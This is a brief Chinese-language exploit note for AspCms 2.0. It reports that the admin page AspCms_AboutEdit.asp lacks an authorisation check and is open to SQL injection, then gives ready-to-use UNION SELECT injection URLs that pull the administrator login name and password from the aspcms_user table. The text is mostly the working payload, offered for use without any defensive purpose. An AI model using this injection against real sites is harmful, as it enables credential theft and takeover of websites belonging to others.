admin/_content/_About/AspCms_AboutEdit.asp?id=19 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from aspcms_user where userid=1


————————————————————————
Powered by AspCms2.0
未验证权限，且存在注入漏洞
admin/_content/_About/AspCms_AboutEdit.asp?id=19
表名：aspcms_user
列名：loginname、password

利用EXP：

admin/_content/_About/AspCms_AboutEdit.asp?id=19 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,10,11,12,13,14,15,16